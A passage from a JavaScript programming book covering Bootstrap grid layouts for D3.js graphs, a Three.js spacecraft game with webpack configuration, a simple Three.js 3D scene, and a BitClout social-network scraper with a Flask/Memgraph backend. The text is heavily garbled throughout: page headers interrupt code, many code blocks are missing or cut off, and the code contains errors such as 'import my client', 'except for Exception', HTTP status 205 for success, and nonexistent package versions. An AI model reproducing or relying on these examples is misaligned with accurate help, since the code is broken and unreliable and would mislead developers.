Tips and tactics like these are what separate a D3.js developer from a
master. Each of these will enhance the interactivity and richness of your
graphs, allowing you to better meet the needs of your customers.
LAYOUT GRID
Bootstrap comes with four common pixel-width grid layout schemas to
help you rapidly put up a page structure. This allows you to design and
implement what you want to put on the page with the least amount of
effort. You can modify any of the pre-set values, and you can also use the
“fluid” row option, which uses a percentage instead of a fixed pixel value
to dynamically size a column’s width. This capability is what drew me to
Bootstrap in the first place, and while I’m using a complex tool for a simple
task, it performs admirably.
<script src="http://code.jquery.com/jquery.js">
</script>
<script src="js/bootstrap.min.js"></script>
Introduction to D3.js ◾ 51
<script src="http://code.jquery.com/jquery.js">
</script>
<script src=
"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/js/
bootstrap.min.js">
</script>
You’ll also need to copy bootstrap.css (or the minimized version (boot-
strap.min.css)) to a location where your script can find it and load it. With
the line that loads the script in the head> section, the following lines show
it being loaded from the CSS directory.
<head>
<link href="css/bootstrap.min.css" rel="stylesheet"
media="screen">
</head>
<head>
<link rel="stylesheet" href=
"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/
bootstrap.min.css">
</head>
That should cover everything! There are many different plug-in scripts
that can be loaded to make your web page do fancy things, but we’ll keep
things basic.
It is surprisingly simple and we can start with the simple graph men-
tioned below:
});
Introduction to D3.js ◾ 53
This results in the graphs being appended to the same anchor point. In
the same way that text wraps on a page, if we restrict the window of our
web browser to less than the width of both of our graphs side by side, the
browser will automatically slide one of the graphs below the other.
</style>
<div id="area1"></div>
<div id="area2"></div>
<body>
All that remains is for each graph to append itself to one of these ID
selectors. This is accomplished by replacing the selected piece of our
JavaScript code with the appropriate ID selector, as seen below:
In order for the HTML to recognize our ID selectors in the code (other
than when we set them with id=“area1”), we must place a hash (#) in front
of them.
54 ◾ Conquering JavaScript: D3.js
<div class="row">
<div class="col-MD-6"></div>
<div class="col-MD-3"></div>
<div class="col-MD-3"></div>
</div>
All that is required to add content to the structure is to place our web
page components between the <div class=“col-md-x”> and </div> tags.
With Bootstrap, you can arrange many d3.js graphs.
In the preceding paragraphs, we learned how to utilize ID selectors to
link our d3.js graphs to certain areas of our website. We’ve also seen how to
organize our web page into sections using Bootstrap. We’ll now combine
the two examples and assign ID selectors to sections created with Bootstrap.
We must ensure that our bootstrap.min.js and bootstrap.min.css files
are in the correct locations. Then, toward the top of the file (just before the
<style> element), add the code to utilize bootstrap.min.css.
<head>
<link rel="stylesheet" href=
"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/
bootstrap.min.css">
</head>
Then, directly after the line that loads the d3.js file, include the lines
that load the jquery.js and bootstrap.min.js scripts.
<script src="http://code.jquery.com/jquery.js">
</script>
Introduction to D3.js ◾ 55
<script src=
"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/js/
bootstrap.min.js">
</script>
To keep things simple, we’ll construct a Bootstrap layout with only one
row and two col-MD-6 elements. The following code should be placed
after the </style> tag and before the <body> tag to achieve this.
<div class="row">
<div class="col-MD-6"></div>
<div class="col-MD-6"></div>
</div>
Now we cleverly incorporate our ID selectors into the divs that we just
entered. So, recalling the code for our first two selectors.
<div id="area1"></div>
<div id="area2"></div>
<div class="row">
<div class="col-MD-6" id="area1"></div>
<div class="col-MD-6" id="area2"></div>
</div>
The next step is to switch d3.select from selecting the web page’s body
to selecting our two new ID selectors, area1 and area2.
And
If we start with the ID selectors for the columns we’ve already entered:
<div class="row">
<div class="col-MD-6" id="area1"></div>
<div class="col-MD-6" id="area2"></div>
</div>
Change the columns to col-MD-5 and insert a col-md-2 in the middle with
some words (remember, the total number of columns has to add up to 12).
<div class="row">
<div class="col-MD-5" id="area1"></div>
<div class="col-MD-2">
A graph on the left depicts the 'ABC' company's
expected profits.
On the right is the anticipated cost of production
as the number of Objects is increased.
Clearly we will be RICH!
</div>
<div class="col-MD-5" id="area2"></div>
</div>
The result will be a graph with a simple bootstrap
layout with graphs and texts.
<div class="row">
<div class="col-MD-4"></div>
<div class="col-MD-4"></div>
</div>
Introduction to D3.js ◾ 57
<div class="row">
<div class="col-MD-8"></div>
</div>
<div class="row">
<div class="col-MD-n4"></div>
<div class="col-MD-4"></div>
</div>
<div class="row">
<div class="col-MD-8"></div>
</div>
In terms of coding, the new col-MD-8 div wraps all of the existing code.
<div class="col-MD-8">
<div class="row">
<div class="col-MD-4"></div>
<div class="col-MD-4"></div>
</div>
<div class="row">
<div class="col-MD-8"></div>
</div>
</div>
<div class="col-md-4"></div>
<div class="col-md-8">
<div class="row">
<div class="col-md-4"></div>
<div class="col-md-4"></div>
</div>
<div class="row">
<div class="col-md-8"></div>
</div>
</div>
58 ◾ Conquering JavaScript: D3.js
<div class="row">
<div class="col-MD-4"></div>
<div class="col-MD-8">
<div class="row">
<div class="col-MD-4"></div>
<div class="col-MD-4"></div>
</div>
<div class="row">
<div class="col-MD-8"></div>
</div>
</div>
</div>
Finally, above our existing work, we need to add another row with a
col-MD-12.
We must again add the row and column before our present code so that
it appears above it on the page.
<div class="row">
<div class="col-MD-12"></div>
</div>
<div class="row">
<div class="col-MD-4"></div>
<div class="col-MD-8">
<div class="row">
<div class="col-MD-4"></div>
<div class="col-MD-4"></div>
</div>
<div class="row">
<div class="col-MD-8"></div>
</div>
</div>
</div>
Application
Development I
IN THIS CHAPTER
DOI: 10.1201/9781003356608-2 61
62 ◾ Conquering JavaScript: D3.js
• How can we tell whether the spacecraft ship and other items collide?
• How do we make a user interface that works on both desktop and
mobile devices?
We will have overcome these obstacles by the time we finish this game.
CODE TUTORIALS
However, before we begin coding, we must first brush up with some basic
theory, particularly about how we will create a sense of movement in the
game.
For the UI, we will also use Materialize CSS. This framework will come in
convenient for the few buttons and cards that will make up our user interface.
For the first step, we need to create a new folder to begin working on the
project. Once the folder is created, now next we need package.json within
the folder in which the following contents will be posted.
{
"dependencies": {
"materialize-css": "2.0.0",
"nipplejs": "0.7.0",
"three": "0.137.2.0"
},
"devDependencies": {
"@types/three": "0.137.2.0",
"@yushijinhun/three-minifier-webpack": "0.3.1",
"clean-webpack-plugin": "4.0",
"copy-webpack-plugin": "11.0.0",
"html-webpack-plugin": "5.5.0",
"raw-loader": "4.0.2",
"ts-loader": "9.3.0",
"typescript": "4.6.4",
"webpack": "5.72.0",
"webpack-cli": "4.9.2",
"webpack-dev-server": "4.9.0",
"webpack-glsl-loader": "git+https://github.com/
grieve/webpack-glsl-loader.git",
"webpack-merge": "5.8.0"
},
"scripts": {
"dev": "webpack serve --config ./webpack.dev.js",
"build": "webpack --config ./webpack.production.
js"
}
}
Then enter npm i to install the packages to your new project in a com-
mand window.
const HtmlWebpackPlugin =
require("HTML-webpack-plugin");
const CopyPlugin = require("copy-webpack-plugin");
module.exports = {
plugins: [
// Build an index.html file that contains the
appropriate package identifier and links to our
scripting..
new HtmlWebpackPlugin({
template:'html/index.html'
}),
// Copy gameplay components to the webpack results
from our fixed folder.
new CopyPlugin({
patterns: [
{from: 'static', to: 'statics'}
]
}),
],
// Our game's starting point
entry: './Spacegame.ts',
module: {
rules: [
{
// Insert our GLSL shaders as HTML.
test: /.(glsl|vs|fs|vert|frag)$/, exclude: /node_
modules/, use: ['raw-loader']
},
{
// Analyze our typescript and transport it to
Javascript with this loader.
test: /.tsx?$/,
use: 'ts-loader',
exclude: /node_modules/,
}
],
},
resolve: {
Application Development I ◾ 67
Create a webpack.dev.js file and add these details to it. The hot-reload
capability of the Web pack development server is set up as follows:
resolve: {
plugins: [
threeMinifier.resolver,
]
},
mode: 'production', // Reduce the size of our
output
output: {
path: path.resolve(__dirname, 'dist'),
filename: '[name].[f_hash:8].js', // Our
product would contain a one-of-a-kind hashing, forcing
our users to download updates as soon when they become
accessible. sourceMapFilename: '[name].[f_
hash:10].map',
chunkFilename: '[id_number].[f_hash:10].js'
},
optimization: {
splitChunks: {
chunks: 'all',
// divide our code into smaller parts to assist
caching for our clients},},})
{"compilerOptions":
{"moduleResolution": "node",
"strict": true,
"allowJs": true,
"checkJs": false,
"target": "es2017",
"module": "commonjs"},
"include": ["@@/@.ts"]
}
Our development environment is fully set up. It’s now time to start to
work on developing a beautiful and believable environment for our players
to explore.
Application Development I ◾ 69
For our scenario, we will also need to use a render and animation
loop. The animation loop will be used to move items around the screen
as needed, and the render loop will be used to draw new frames to the
screen.
Let us now develop the render function in our right Spacegame.ts.
Because this function is simply requesting an animation frame and then
generating the scene, it will appear empty at first. There are several reasons
why we require an animation frame, but one of the most important is that
70 ◾ Conquering JavaScript: D3.js
our game will pause if the user switches tabs, improving performance and
perhaps squandering device resources:
So now we have an empty scene with a camera but no other objects. Let
us make our scenario more realistic by adding some elements say water.
Thankfully, it has a water object sample that we can use in our scenario. It
has real-time reflections and is rather attractive; you can see it here.1
Fortunately for us, this water will take care of the majority of our
scene’s needs. All that’s left is to change the water shader slightly so that
we can update it from within the render loop. We do this because if we
offset the roughness of our water by an increasing amount over time, it
will give us the impression of speed. This is our game’s opening scene, but
we are increasing the offset every frame to show. The pace of the ocean
underneath us seems to increase as the offset increases (even though the
spacecraft is actually stationary). Three.js GitHub has the water object. All
we have to do now is make a tiny tweak to our render loop to make this
offset configurable so we can update it over time.
We will start by getting a copy of the Realistic water visualization in
3-D (Water.js sample) from the Three.js source. This file will be located at
objects/water.js in the project.
When we open the water.js file, we will see codes something like men-
tioned below:
These are the ocean material’s shaders. Shaders are outside the sub-
ject, but they’re simply instructions that our game will deliver to our
users’ computers on how to draw this specific object. Our shader code,
written in OpenGL, is also included in this file, which is otherwise
JavaScript.
There’s nothing wrong with this, however, if we put this shader code
in its own file, we can use GLSL support in our favorite Integrated
Development Environment (IDE) to obtain features like syntax coloring
and validation, which let us customize our GLSL.
Make a shader folder under our existing object folder, then copy the
data of our vertexShader and fragmentShader into waterFrag-
mentShader.glsl and waterVertexShader.glsl files.
We have a getNoise function at the top of our waterFragment-
Shader.glsl file. It looks like this by default:
We’ll add a parameter to our GLSL file that allows us to change this
offset during execution to make it configurable from our game code. To
accomplish this, we must substitute the following function for this one:
We will see that this GLSL file contains a new variable: the speed. We
will change this variable to give the impression of speed. We must now
configure the water settings in our game.ts. Add the following variables
to the top of our file:
{
textureWidth: 530,
textureHeight: 530,
waterNormals:new TextureLoader().load('static/
normals/filename.jpeg', function (texture) {
texture.wrapS = texture.wrapT =
MirroredRepeatWrapping;
}),
sunDirection: new Vector3(),
sunColor: #ff9933,
waterColor: #5C6F65,
distortionScale: 3.9,
fog: scene.fog !== undefined
}
);
Our water plane’s rotation and location must then be configured in our
init function, as seen below:
This will ensure that the ocean rotates correctly and the entire coding
learned from Three.js repository.2
With some nice-looking water and a spacecraft, we now have our scene.
However, we lack anything that can turn it into a game. To fix this, we’ll
Application Development I ◾ 75
need to build some basic parameters to govern the game and allow the
player to progress toward specific objectives. We’ll add the sceneCon-
figuration variable to the top of our game.ts file, which will help us
maintain track of objects in our scene:
backgroundBitCount: 0,
/// What is the number of 'challenge rows' in the scene?
challengeRowCount: 0,
/// Initial current speed of the ship
speed: 1.0
scene.remove (x.rowparent);
});
sceneConfiguration.courseProgress = 0;
// Our current level determines the length of the
course
sceneConfiguration.courseLength = 1500 * level;
// Reset the number of items we've collected in this
level to one.
sceneConfiguration.data.shieldsCollected = 1;
sceneConfiguration.data.crystalsCollected = 1;
78 ◾ Conquering JavaScript: D3.js
<DODE>
let leftPressed = false;
let rightPressed = false;
We’ll then register the keydown and keyup events in our init function
to call the onKeyDown and onKeyUp routines, respectively:
document.addEventListener('keydown', onKeyDown,
false);
document.addEventListener('keyup', onKeyUp, false);
Application Development I ◾ 79
Finally, we’ll specify what to do when these keys are hit for keyboard
input:
We keep track of what to do, whether the left or right keys are pushed
at the same time, or if the joystick is in use, in our animate function. We
additionally limit the spacecraft’s left and right locations to prevent it from
traveling fully outside of the screen:
from the scene as they leave the player’s vision so we don’t waste resources
on the player’s computer.
This feature may be set up in our render loop as follows:
• detectCollisions
• addBackgroundBit
• addChallengeRow
detectCollisions
Collision detection is a crucial component of our game. We won’t know
if our spacecraft ship has hit any of the targets or if it has collided with
a rock and needs to slow down if we don’t have it. This is why collision
detection is important in our game. A physics engine would normally be
used to detect collisions between items in our scenario, but Three.js does
not include one.
That isn’t to suggest that physics engines for Three.js don’t exist. They
surely do, but we don’t need to install a physics engine to determine if our
spacecraft collided with another object for our purposes. Essentially, we want
to know if “my spacecraft model intersects with any other models on the
screen right now?” We must also react differently depending on what has
been struck. If our player keeps hitting the spacecraft into rocks, for example,
we must finish the level once a certain amount of damage has been sustained.
Let’s do this by writing a function that checks for the intersection of our
spacecraft and the scene’s items. We’ll react differently depending on what
the gamer has hit.
This code will be placed in a file called in our game directory colli-
sionDetection.ts:
shieldUiElement.classList.add('danger');
}
} else { //Otherwise,
if it's more than 0 shields, remove the danger CSS
class
// so the text
goes back to being white
shieldUiElement.
classList.remove('danger');
}
endLevel(true);
}
break;
// If the object is crystal...
case ObjectType.CRYSTAL:
Modify the UI to reflect the new crystal tally, and
increase the
number of / already gathered rocks
crystalUiElement.innerText =
String(++sceneConfiguration.data.crystalsCollected);
break;
// If the object is shield
case ObjectType.
SHIELD_ITEM:
// Modify the UI with the new count of shields, and
increment the count of
// currently collected shields
shieldUiElement.innerText =
String(++sceneConfiguration.data.shieldsCollected);
break;
}
}
}
});
})
});
}
All that’s needed is to create a small animation that plays when the user
collides with something. This function will take the origin point of the
collision and create some boxes from there. This is how the final product
will seem.5
To accomplish this, we must generate the boxes in a circle around the
point of collision and animate them outwards such that they appear to
explode outwards. To accomplish this, we’ll include the following code in
our collisionDetection.ts file:
destructionBit.userData.lifetime = 0;
// Set the box's initial position
destructionBit.position.set(spawnPosition.a,
spawnPosition.b, spawnPosition.c);
// Build a mixer for the object's animations
destructionBit.userData.mixer = new AnimationM
ixer(destructionBit);
// initiate the objects in a circle around the
spacecraft
let degrees = i / 50;
// Determine where on the circle this specific
destruction bit should be produced
let spawnX = Math.cos(radToDeg(degrees)) * 20;
let spawnY = Math.sin(radToDeg(degrees)) * 20;
// Make a VectorKeyFrameTrack to animate this box from
its initial position to its final
'outward' position (so it looks like the boxes are
exploding from the ship)
let track = new VectorKeyframeTrack('.
position', [1, 1.3], [
spacecraftModel.position.x, // x 2
spacecraftModel.position.y, // y 2
spacecraftModel.position.z, // z 2
spacecraftModel.position.x + spawnX, // x 3
spacecraftModel.position.y, // y 3
Application Development I ◾ 87
spacecraftModel.position.z + spawnY, // z 3
]);
// Create an animation clip with our
VectorKeyFrameTrack
const animationClip = new AnimationClip('animateIn',
15, [track]);
const animationAction = destructionBit.
userData.mixer.clipAction(animationClip);
// Only play the animation once
animationAction.setLoop(LoopOnce, 2);
// Leave the objects in their final positions (don't
restore them to the starting position) when you're
done.
animationAction.clampWhenFinished = true;
// Watch the animation now
animationAction.play();
// To the destruction bit, add a Clock. This
is used in the render loop to tell ThreeJS how far
to move this object for this frame.
destructionBit.userData.clock = new Clock();
// Add the element of destruction to the
scene.
scene.add(destructionBit);
// To keep track of them, add the destruction bit to
an array
destructionBits.push(destructionBit);
}
And there you have it: collision detection, replete with a lovely anima-
tion when the object is destroyed.
addBackgroundBit
As the scene unfolds, we’ll add some cliffs on either side of the player to
make it feel like their movement is constrained correctly. To mechanically
add the rocks to the user’s right or left, we utilize the modulo operator:
addChallengeRow
We’ll want to add our “challenge rows” to the scenario as it proceeds.
These are items that have rocks, crystals, or shield items in them. We allo-
cate rocks, crystals, and shields to each row at random each time one of
these new rows is formed.
Cells 1, 2, and 4 in the preceding example have nothing added to them,
however, cells 3 and 5 have a crystal and a shield item, respectively. To
accomplish this, we divide the challenge rows into five separate cells. We
spawn a specific item in each cell based on the outcome of our random
algorithm, as follows:
Any of those links will take you to the rock, crystal, or shield creation
functions.
• Remove the trash from the gathered articles and transport it to the
spaceship.
90 ◾ Conquering JavaScript: D3.js
• Display the “flying away” motion and the level report if the user
completes the level.
• Adjust the camera to look at the spacecraft if it is “flying away,” so the
user can see it fly to the mothership.
To support this functionality, we may add the following code to the end
of our render function:
button. When we press the red Play button, the camera rotates and goes
behind the spacecraft, preparing the player for the scenario to begin.
Within our scene init method, we register the event to do this to the
onClick handler of this button. To make the rotation and movement func-
tions, follow these steps:
To accomplish this, we’ll include the following code in our init function:
50, // y 5
150, // z 5
], InterpolateSmooth);
// Build a Quaternion revolution for the camera's
"wingers" location
let identityRotation = new Quaternion().
setFromAxisAngle(new Vector3(-2, 1, 1), .5);
// Make an animation clip that starts with the
camera's current rotation and concludes with the
camera being
turned around and rotated towards the game space
let rotationClip = new QuaternionKeyframeTrack('.
quaternion', [1, 5], [
camera.quaternion.a, camera.quaternion.b, camera.
quaternion.c, camera.quaternion.q,
identityRotation.a, identityRotation.b,
identityRotation.c, identityRotation.q
]);
// Both KeyFrameTracks should be associated with an
AnimationClip so that they play at the same time
const animationClip = new AnimationClip
('animateIn', 5, [track, rotationClip]);
const animationAction = camera.userData.mixer.
clipAction(animationClip);
animationAction.setLoop(LoopOnce, 2);
animationAction.clampWhenFinished = true;
camera.userData.clock = new Clock();
camera.userData.mixer.addEventListener('finished',
function () {
// Ascertain that the camera is pointing in
the correct direction
camera.lookAt(new Vector3(1, -400, -2000));
// Indicate that the spacecraft has begun moving
sceneConfiguration.spacecraftMoving = true;
});
// Watch the animation now
camera.userData.mixer.clipAction(animationClip).
play();
// Eliminate the "start panel" from view (which
contains the play buttons)
startPanel.classList.add('hidden');
}
Application Development I ◾ 93
We must also wire up our logic for what to do when our level ends.6
SUMMARY
When you make a game with Three.js, you have access to an enormous
number of potential clients. It becomes a really enticing approach to
develop and distribute your game because users can play it in their browser
without having to download or install anything on their devices. In this
chapter, we have learned that creating an engaging and enjoyable experi-
ence for a wide range of people is extremely possible.
NOTES
1. Three.js-Webgl ocean.
2. Water.js-Three.js,GitHub.Inc.
3. Three.js webgl- Sky+Sun Shader-Three.js examples.
4. Nipples TS-npm
5. Creating a game in Three.js-Lewis Cianci, Log Spacecraft
6. Three js-Spacecraft-Game-flutterfromscratch.
Chapter 3
Application
Development II
IN THIS CHAPTER
DOI: 10.1201/9781003356608-3 95
96 ◾ Conquering JavaScript: D3.js
• Scene
• Camera
• Mesh
• Lighting
Before we directly jump to the coding section we must first talk about the
overview of 3D web design in brief. As the title recommends 3D web appli-
cation is a website that is rendered in three dimensions. When construct-
ing a 3D world, your browser, like any other online application, needs to
know what to display and how. In this approach, building a scene is similar
to telling the browser that you’re preparing your presentation. The camera
establishes the user’s viewpoint and informs the browser of our position in
relation to the scene’s center. Finally, the renderer instructs the browser to
display the elements we’ve constructed and placed in our scene. The “can-
vas” element in HTML is used to accomplish this. It was fashioned to shape
and show dynamic, animatable illustrations that the customer can lure.
Individuals were just not pleased with all of that, and used WebGL which
helped in controlling the canvas in three dimensions. WebGL is a cross-
platform web standard for a low-level 3D graphics API based on OpenGL
ES, which is available to ECMAScript via the HTML5 Canvas element.
But don’t worry if you don’t grasp what that implies. All we need to know
is that we can make 3D webpages with WebGL. We should also probably
know that it is typically considered a highly complex API to work in, and
requires enormous amounts of code to achieve very simple things. That is
what takes us to Three.js. Three.js is a JavaScript framework that acts as a
translator between the programmer and WebGL, making it easier to write
3D code. It mostly accomplishes this by abstracting WebGL into a more com-
prehensible set of functions and classes. That is, as you write code in Three.js,
Three.js is writing dozens of lines of WebGL for you behind the scenes.
CODE TUTORIAL
There’s hardly much to set up; just make sure you get Three.js from this
link: Download THREEJS. Let’s get started setting up our project; all you
have to do now is unpack the zip file. Only the three.js and three.min.js
files in the build folder are of importance to us, so copy those. Then add a
JavaScript subdirectory and an index.html file to your project’s new folder.
Paste the previously copied files into the JavaScript folder.
<html>
<head>
<title>Three.js 3d World</title>
<style>
body{
margin: 0;
}
canvas{
width: 90%;
height:90%;
}
</style>
</head>
<body>
</body>
</html>
<html>
<head>
<title>Three.js 3d World</title>
<style>
body{
margin: 1.0;
}
canvas{
width: 90%;
height:90%;
}
</style>
</head>
<body>
<script src="js/three.js"></script>
<script>
var scene = new THREE.Scene();
var camera = new THREE.PerspectiveCamera(70,window.
innerWidth / window.innerHeight,0.5,1500)
//game logic
var update = function(){
};
//draw Scene
Application Development II ◾ 99
};
GameLoop();
</script>
</body>
</html>
For Mac
Simply open a Terminal window, cd into your project directory, and
perform the command below:
php -S 127.0.0.1:8080
<html>
<head>
<title>Three.js 3D World</title>
<style>
body{
Application Development II ◾ 101
margin: 0;
}
canvas{
width: 90%;
height:90%;
}
</style>
</head>
<body>
<script src="js/three.min.js"></script>
<script>
var scene = new THREE.Scene();
var camera = new THREE.PerspectiveCamera(70,window.
innerWidth / window.innerHeight,0.5,1500)
var renderer = new THREE.WebGLRenderer();
renderer.setSize(window.innerWidth, window.
innerHeight);
document.body.appendChild(renderer.domElement);
window.addEventListener('resize',function ()
{
var width = window.innerWidth;
var height = window.innerHeight;
renderer.setSize(width,height);
camera.aspect = width/height;
camera.updateProjectionMatrix();
});
//this will create the shape
var ourcube = new THREE.BoxGeometry(1,1,1);
};
102 ◾ Conquering JavaScript: D3.js
GameLoop();
</script>
</body>
</html>
If you are new to 3D development, this section will take some time
to explain. In three.js, objects are produced in a certain order or we
can say in a proper fashion. It does not prefer the first come first serve
rather it will maintain a certain order before the proper execution of the
command.
So following are the steps mentioned that will enable us to better under-
stand the 3-D development system:
the dots at the bottom. When you click the second dot on the web-
page (remember to use a server), a white screen will display. The color
of the screen depends entirely on the color you have entered in the
function.
This is actually an empty scene with white as the background color
(draw scene, game-code.js).
For proper organization, the styles and Javascript have been placed sep-
arately into different files; it is best practice to keep erudite js code distinct
from the HTML. The main Game Code has been moved to game-code.js,
which will now be our primary working file. Let us move further with the
completion of the application.
SELECTING 3D MODELS
We will need to twitch by execution of a good 3D model for our web-
site. There are several places online where you may find threejs-com-
patible 3D models like Blender by the Blender Foundation Substance;
Painter by Allegorithmic; Modo by Foundry; Toolbag by Marmoset;
Houdini by SideFX; Cinema 4D by MAXON; COLLADA2GLTF
by the Khronos Group; FBX2GLTF by Facebook; OBJ2GLTF by
Analytical Graphics Inc; OBJ2GLTF by Analytical Graphics Inc and
numerous supplementary but most of the users count on heavily on
Sketchfab.
The file format we should utilize is also somewhat we should contem-
plate. The world of 3D uses assorted file formats, and we should ordinarily
stick to one file format for a single project to maintain standardization.
So for this project, we have selected GLTF since it imports the consisten-
cies unruffled with the model, although considering the fact that OBJ. is
a more popular type of file format but anyways let’s stick to one format
which is GLTF in this case.
Fortunately, the 3D model you will need for this project is already pro-
vided in the start project/model/NAME OF THE PRODUCT.
Importing all type formats into three.js follows a similar pattern. Once
we have prepared the file, we have to find a suitable loader. Single js scripts
that export single classes are commonly used as loaders. They may be
located at ./examples/js/loaders in the three.js download folder, and there
are quite a few of them.
In-game-code.js, we have already added the GLTF Loader to the
project.
Application Development II ◾ 105
3D Models Loading
Now for the exciting part. After we have added the loader, we need to go to
game-code.js and add the following code:
scene.add(gltf.scene);
});
The code opens the 3D model (as scene.gltf) with the loader and then
inserts the callback for when the model is finished loading.
We use scene to add the model to the scene once it has been loaded. In
three.js, add (object) is the scene object. This is all we need to do to add cus-
tom objects to three.js; the orbit camera will take care of the rest. Return to
your browser, hit refresh, change to the second dot, and that’s all.
SUMMARY
Three.js is a JavaScript toolkit that enables producing 3D visuals on the
web far simpler than using WebGL directly. Three.js is the most popu-
lar 3D JavaScript library on the internet, and it’s really simple to use.
The purpose of this chapter is to help you understand how we can use
THREE.js and create a 3D web application. Three.js provides us with a
wide selection of 3D graphics options. So, we can see some examples
of innovative websites that we can use as inspiration for creating and
106 ◾ Conquering JavaScript: D3.js
NOTES
1. Creating a scene-Three.js manual.
2. 60 mindblowing THREEJS Website Examples-Henri, Bashooka.
Chapter 4
Application
Development III
IN THIS CHAPTER
➢➢ Concept of Networking
➢➢ Building Apps with D3.js
➢➢ Keywords and Syntax
Networks are more than simply a data format; they’re a way of looking
at data. When working with network data, the goal is usually to find and
exhibit patterns in the network or areas of the network rather than indi-
vidual nodes. Although you might utilize a network visualization to create
an excellent graphical index, such as a mind map or a website’s network
map, most information visualization approaches highlight network struc-
ture rather than individual nodes.
Network analysis and network visualization have grown more wide-
spread due to the emergence of social networks, social media, and con-
nected data in what was known as Web 2.0. Since they concentrate on how
objects are connected, network visualizations are fascinating to compre-
hend. They portray systems more realistically than the customary flat data
found in most data representations.
It is necessary to understand what network terminology means to an
individual. When dealing with networks, nodes are the connected objects
(like people), and edges or links are the relationships between them (like
becoming a Facebook friend). Because the edges meet at vertices, nodes
are sometimes referred to as vertices. Although having a graphic with
labeled nodes and edges may appear handy, one of the takeaways from
this chapter is that there is no single method to depict a network. Because
graphs are what networks are called in mathematics, they can also be
named that. Finally, the centrality of a node in a network is a term used to
describe its importance.
BitClout is one such revolutionary decentralized social network that
allows you to bet real money on the value of people and posts. It’s designed
from the ground up to be its blockchain. Its design is identical to Bitcoin’s,
except it allows complex social network models such as postings, profiles,
followers, speculation features, and much more at a considerably higher
throughput and scale. BitClout, like Bitcoin, is an entirely open-source
initiative with no company backing it; it’s just coins and code.
This chapter will learn how to utilize Memgraph, Python, and D3.js
to create a simple application for displaying and analyzing the BitClout
social network.
Prerequisites
headers = {
'authority': 'bitclout.com',
'sec-ch-ua': '" Not A;Brand";v="99",
"Chromium";v="90"',
'accept': 'application/JSON, text/plain, */*',
'sec-ch-ua-mobile': '?0',
'user-agent': 'Mozilla/5.0 (X11; Linux x86_64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/90.0.4430.72 Safari/537.36',
110 ◾ Conquering JavaScript: D3.js
'content-type': 'application/json',
'origin': 'https://bitclout.com',
'sec-fetch-site': 'same-origin',
'sec-fetch-mode': 'cors',
'sec-fetch-dest': 'empty',
'accept-language': 'en-GB,en;q=0.9,hr-HR;
q=0.8,hr;q=0.7,en-US;q=0.6,de;q=0.5,bs;q=0.4',
# IMPORTANT: CHANGE TO YOUR OWN 'cookie' HEADER
'cookie': 'amplitude_id_YOUR_OWN_BITCLOUT_COOKIE',
'sec-gpc': '1',
}
def get_hodlers(users):
for user in users:
data = f'{{"PublicKeyBase58Check":"","Username
":"{user}","LastPublicKeyBase58Check":"","NumToFetch":
100,"FetchHodlings":false,"FetchAll":true}}'
response = requests.post('https://bitclout.
com/api/v0/get-hodlers-for-public-key',
headers=headers, data=data)
hodlers = response.text
with open(f'hodlers/{user}.json', 'w') as f:
print(hodlers, file=f)
if __name__ == '__main__':
users = []
seen = set()
directory = os.path.dirname(__file__) + '/hodlers'
for f in os.listdir(directory):
seen.add(f[:-5])
for f in os.listdir(directory):
with open(directory + '/' + f) as fp:
try:
hodlers = json.load(FP)['Hodlers']
except for Exception:
continue
Application Development III ◾ 111
print(len(users))
multiplier = len(users) // 100
processes = []
for i in range(100):
processes.append(Process(
target=get_hodlers,
args=(users[i * multiplier:(i + 1)
* multiplier],)
))
processes[-1].start()
for p in processes:
p.join()
import os
MG_HOST = os.getenv('MG_HOST', 'Address')
MG_PORT = int(os.getenv('MG_PORT', 'No'))
112 ◾ Conquering JavaScript: D3.js
import logging
log = logging.getLogger(__name__)
def init_log():
logging.basicConfig(level=logging.INFO)
log.info("Logging enabled")
logging.getLogger("werkzeug").setLevel(logging.
WARNING)
init_log()
Nothing exceptional here, but it will give us a good idea of how the
software works. Let us define an optional input argument parser in the
same way:
print(__doc__)
return parser.parse_args()
args = parse_args()
import my client
import time
connection_established = False
while(not connection_established):
try:
connection = mgclient.connect(
host=MG_HOST,
port=MG_PORT,
username="",
password="",
sslmode=mgclient.MG_SSLMODE_DISABLE,
lazy=True)
connection_established = True
except:
log.info("Memgraph probably isn't running.")
time.sleep(4)
cursor = connection.cursor()
Finally, we will write the view functions called from the browser via
HTTP requests.
114 ◾ Conquering JavaScript: D3.js
The load all() view function retrieves all nodes and relationships from
the database, filters out the most significant data, and returns it in JSON
format for visualization. We will provide a list containing each node’s id
(no other information about the nodes) and a list that defines how they’re
connected to keep the network load minimal.
import JSON
from flask import Response
@app.route('/load all, methods=['GET'])
def load_all():
"Load data from the database."""
start_time = time.time()
try:
cursor.execute("""MATCH (n)-[r]-(m)
RETURN n, r, m
LIMIT 2000;""")
rows = cursor.fetchall()
except:
log.info("Something wrong.")
return ('', 200)
links = []
nodes = []
visited = []
for row in rows:
d = row[0]
e = row[5]
if d.id not in visited:
nodes.append({'id': d.id})
visited.append(d.id)
if e.id not in visited:
nodes.append({'id': e.id})
visited.append(e.id)
links.append({'source':d.id, 'target': e.id})
response = {'nodes': nodes, 'links': links}
duration = time.time() - start_time
log.info("Data fetched in: " + str(duration)
+ " minutes")
return Response(
JSON.dumps(response),
status=205,
mimetype='application/json')
Application Development III ◾ 115
The index() view method returns the default homepage view, which is
found in the /public/templates/index.html file:
All that’s left now is to implement and call the main() method:
def main():
if args.load_data:
log.info("data into Memgraph.")
database.load_data(cur)
app.run(host=args.app_host,port=args.app_port,
debug=args.debug)
if __name
== 'main':
Main()
def load_data(cursor):
cursor.execute("""MATCH (n)
DETACH DELETE n;""")
cursor.fetchall()
cursor.execute("""CREATE INDEX ON :User(id);""")
cursor.fetchall()
cursor.execute("""CREATE INDEX ON :User(name);""")
cursor.fetchall()
cursor.execute("""CREATE CONSTRAINT ON (user:User)
ASSERT user.id IS UNIQUE;""")
cursor.fetchall()
If there is any unexpected data in the database, the first query deletes
everything. A cursor appears after each query execution. We need to use
116 ◾ Conquering JavaScript: D3.js
This line is significant because you must first decide whether to utilize
canvas or SVG before moving on to the next step. As is often the case, the
answer is that it depends on the situation.
